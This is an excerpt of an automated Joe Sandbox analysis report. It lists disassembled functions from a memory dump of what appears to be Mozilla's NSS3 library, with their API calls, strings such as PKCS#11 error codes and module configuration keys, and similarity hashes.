Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63fb2172955777438f78104c941bb9a1d563dfe28ff93f3105dc4b89654debc8
Instruction ID: 9c26120b6f9f02eab281e060a40831de76230f3f37efd697d863dce5e7804d81
Opcode Fuzzy Hash: 63fb2172955777438f78104c941bb9a1d563dfe28ff93f3105dc4b89654debc8
Instruction Fuzzy Hash: 98C04838244608CFC704DA1CE5999A43BA8AB096107040094EA028B721DA21F800CA84

Function 6CAC1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CAC1D46), ref: 6CAC2345

Strings

CKR_RANDOM_NO_RNG, xrefs: 6CAC22A7
CKR_DEVICE_ERROR, xrefs: 6CAC229D
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CAC1DE0
CKR_SAVED_STATE_INVALID, xrefs: 6CAC1E56
CKR_NEW_PIN_MODE, xrefs: 6CAC1E9F
rv = 0x%x, xrefs: 6CAC2312
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CAC1EE1
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CAC2319
CKR_MUTEX_BAD, xrefs: 6CAC1F49
CKR_STATE_UNSAVEABLE, xrefs: 6CAC2037
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CAC226B
CKR_TOKEN_NOT_PRESENT, xrefs: 6CAC1F81
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CAC2327
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CAC232E
CKR_FUNCTION_REJECTED, xrefs: 6CAC2289
CKR_OPERATION_ACTIVE, xrefs: 6CAC22B8
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CAC1F77
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CAC2179
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CAC22FF
CKR_PIN_LEN_RANGE, xrefs: 6CAC2061
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CAC20D9
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CAC1F95
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CAC2320
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CAC1F8B
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CAC204D
CKR_PIN_INCORRECT, xrefs: 6CAC1D92
CKR_FUNCTION_CANCELED, xrefs: 6CAC1E73
CKR_WRAPPED_KEY_INVALID, xrefs: 6CAC1FB5
CKR_BUFFER_TOO_SMALL, xrefs: 6CAC2183
CKR_PIN_INVALID, xrefs: 6CAC2057
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CAC2015
CKR_SIGNATURE_INVALID, xrefs: 6CAC20CF
rv = %s, xrefs: 6CAC2340
CKR_DEVICE_MEMORY, xrefs: 6CAC1FF3
CKR_INFORMATION_SENSITIVE, xrefs: 6CAC22B1
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CAC2275
CKR_OK, xrefs: 6CAC1DFC
CKR_PIN_LOCKED, xrefs: 6CAC2075
CKR_DEVICE_REMOVED, xrefs: 6CAC2261
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CAC1F0F
CKR_MUTEX_NOT_LOCKED, xrefs: 6CAC2225
CKR_NEXT_OTP, xrefs: 6CAC222F
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CAC2293, 6CAC233F
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CAC218D
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CAC1FD7
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CAC227F
CKR_PIN_EXPIRED, xrefs: 6CAC206B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 257b6d56c1ad8cc807998881ed8e622fc08aaeaa9fa3e77495b18507e3c30ba5
Instruction ID: 30977dca6d5333b1fa3d3e6f4e60e62867a1a4424ba2302040f9ce4717bfddaa
Opcode Fuzzy Hash: 257b6d56c1ad8cc807998881ed8e622fc08aaeaa9fa3e77495b18507e3c30ba5
Instruction Fuzzy Hash: 87611F7078D184C6E62C4D4C81AD37C3124EB03314F69B377E6A28EF91C695EAC74697

Function 6CAF5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CAF5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAF5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CAF5E5C
free.MOZGLUE(00000000), ref: 6CAF5E7E
free.MOZGLUE(00000000), ref: 6CAF5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CAF5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CAF5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAF5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CAF5EF0
free.MOZGLUE(00000000), ref: 6CAF5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CAF5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CAF5F5B
free.MOZGLUE(00000000), ref: 6CAF5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CAF5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CAF5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CAF5FC4
free.MOZGLUE(00000000), ref: 6CAF5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAF5FE9
free.MOZGLUE(00000000), ref: 6CAF5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAF600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAF6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CAF605A
PR_smprintf.NSS3(6CBCAAF9,00000000), ref: 6CAF606A
free.MOZGLUE(00000000), ref: 6CAF607C
free.MOZGLUE(00000000), ref: 6CAF609A
free.MOZGLUE(00000000), ref: 6CAF60B2
free.MOZGLUE(?), ref: 6CAF60CE

Strings

pkcs11.txt, xrefs: 6CAF5F47, 6CAF5F7C, 6CAF603A, 6CAF6053
flags, xrefs: 6CAF5E3A, 6CAF5EC6, 6CAF5F30
forceSecmodChoice, xrefs: 6CAF5F55
%s/%s, xrefs: 6CAF6055
readOnly, xrefs: 6CAF5E56
secmod=, xrefs: 6CAF5FB1
secmod.db, xrefs: 6CAF5EA0
noModDB, xrefs: 6CAF5EEA
configDir=, xrefs: 6CAF5F9D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2bddc1b80760830cb1569d056ab6122cb7c29a4a9928b9440c36025b2a75a516
Instruction ID: 574a13a1e086f4427d36bc7a68a150a5511a4ce22de439d56db3ee9a35149640
Opcode Fuzzy Hash: 2bddc1b80760830cb1569d056ab6122cb7c29a4a9928b9440c36025b2a75a516
Instruction Fuzzy Hash: 5291C4F4E042555BEF018F24DC81BAA3BA49F0639CF1C4060FC659BB42E735D99AC7A2

Function 6CA81D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CA81DA3

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CA81DB2

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA81DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CA81E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CA81EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CA81ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CA81EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CA81F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CA81F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CA81F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CA81F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA81F83
PR_SetLogFile.NSS3(00000000), ref: 6CA81FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CA81FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CA81FCB
free.MOZGLUE(00000000), ref: 6CA81FD2

Strings

sync, xrefs: 6CA81E46
bufsize, xrefs: 6CA81E9B
, %n, xrefs: 6CA81E6B
Unable to create nspr log file '%s', xrefs: 6CA81FB3
NSPR_LOG_MODULES, xrefs: 6CA81DAD
append, xrefs: 6CA81EE6
all, xrefs: 6CA81F0E
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CA81E27
timestamp, xrefs: 6CA81EC4
NSPR_LOG_FILE, xrefs: 6CA81F69

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: b24737549ba8b4e45b4d8e21d0dc715b5ef0b7dbcc5e0f7bad449119193582f5
Instruction ID: 5956ed0d5aac1ce518e2e3b7e917f04edf5332ffdb1d16d8a288a87aba1c5591
Opcode Fuzzy Hash: b24737549ba8b4e45b4d8e21d0dc715b5ef0b7dbcc5e0f7bad449119193582f5
Instruction Fuzzy Hash: BC51A5B1E052499BDF00DBE4DD44BAE7BB8AF05348F0C0529E926DBA00F770D998CB91

Function 6CB66E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CA2BE66), ref: 6CB66E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CA2BE66), ref: 6CB66E98
sqlite3_snprintf.NSS3(?,00000000,6CBCAAF9,?,?,?,?,?,?,6CA2BE66), ref: 6CB66EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CA2BE66), ref: 6CB66ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CA2BE66), ref: 6CB66EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CA2BE66), ref: 6CB66FA6
sqlite3_snprintf.NSS3(?,00000000,6CBCAAF9,00000000,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB66FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB67014
sqlite3_free.NSS3(00000000,?,?,?,?,6CA2BE66), ref: 6CB6701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CA2BE66), ref: 6CB67030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB6705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CA2BE66), ref: 6CB67079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB67097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CA2BE66), ref: 6CB670A0

Strings

mz_etilqs_, xrefs: 6CB66F18
winGetTempname5, xrefs: 6CB67071
winGetTempname4, xrefs: 6CB67046
winGetTempname1, xrefs: 6CB6708F
winGetTempname2, xrefs: 6CB670C4

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 784c397faa629d1b765d481d48113c4ee8fb35c8f1bf35d67cb3704760fee9a5
Instruction ID: 77fe718012acb91ad50bbe4e3a34770b70e53d534296a595b8d63baa8b706d50
Opcode Fuzzy Hash: 784c397faa629d1b765d481d48113c4ee8fb35c8f1bf35d67cb3704760fee9a5
Instruction Fuzzy Hash: 0D518BB1A0429167E7009631DD51BBF366ADF92318F144638E815A7FC1FB35A81EC2E3

Function 6CAF4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000,00000000,00000001), ref: 6CAF5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAF5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CAF5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CAF50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2), ref: 6CAF50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAF50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5153
free.MOZGLUE(?), ref: 6CAF516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAF517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAF5195

Strings

config=, xrefs: 6CAF509B
parameters=, xrefs: 6CAF506B
name=, xrefs: 6CAF5057
nss=, xrefs: 6CAF5083
library=, xrefs: 6CAF5043

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: f46760dd6ca685ed62fd2f0b013451bed5ef88870d23bb01b8898fddb228cf11
Instruction ID: 3c5a9baec81f0903cacfd609aa740c47c515b0da055c06b30af03d8af949c1a1
Opcode Fuzzy Hash: f46760dd6ca685ed62fd2f0b013451bed5ef88870d23bb01b8898fddb228cf11
Instruction Fuzzy Hash: E05182B5A012556FEB01DF24DC41AAF37A8AF06248F184020FC65E7741EB35F95ACBB6

Function 6CAC8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CAC8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8EB3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAC8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CAC8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CAC8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAC8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CAC8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CAC8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CAC8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CAC9047

Strings

C_WrapKey, xrefs: 6CAC8E71
(CK_INVALID_HANDLE), xrefs: 6CAC8EAC, 6CAC8F1F, 6CAC8F79
pMechanism = 0x%p, xrefs: 6CAC8EE0
hKey = 0x%x, xrefs: 6CAC8F5B, 6CAC8F6B
hWrappingKey = 0x%x, xrefs: 6CAC8F01, 6CAC8F11
pWrappedKey = 0x%p, xrefs: 6CAC8FAD
pulWrappedKeyLen = 0x%p, xrefs: 6CAC8FC8
hSession = 0x%x, xrefs: 6CAC8E8E, 6CAC8E9E
*pulWrappedKeyLen = 0x%x, xrefs: 6CAC9042

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 652ca2267c0c1538960e2b1e3a3d0a5230a174957fde797cdf01057b29cb0596
Instruction ID: d2da05ded6fa6f1a0bf1235b3851870de9241ac84d623ef1b3649b833e6aa0e1
Opcode Fuzzy Hash: 652ca2267c0c1538960e2b1e3a3d0a5230a174957fde797cdf01057b29cb0596
Instruction Fuzzy Hash: C551E335701195ABDB008F54EE48F9E7B76FB4231CF088026F9196BB12DB309999CB97

Function 6CAF4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4C5B
PR_smprintf.NSS3(6CBCAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAE4F51,00000000), ref: 6CAF4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CAF4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CAF4DA2
free.MOZGLUE(?), ref: 6CAF4DB9
free.MOZGLUE(00000000), ref: 6CAF4DCF

Strings

ootT, xrefs: 6CAF4D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CAF4D9D
every, xrefs: 6CAF4CA1
rust, xrefs: 6CAF4D22
rootFlags, xrefs: 6CAF4D47
timeout, xrefs: 6CAF4C91
%s,%s, xrefs: 6CAF4C4B
any, xrefs: 6CAF4C96
slotFlags, xrefs: 6CAF4D34
0x%08lx=[%s %s], xrefs: 6CAF4D80

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
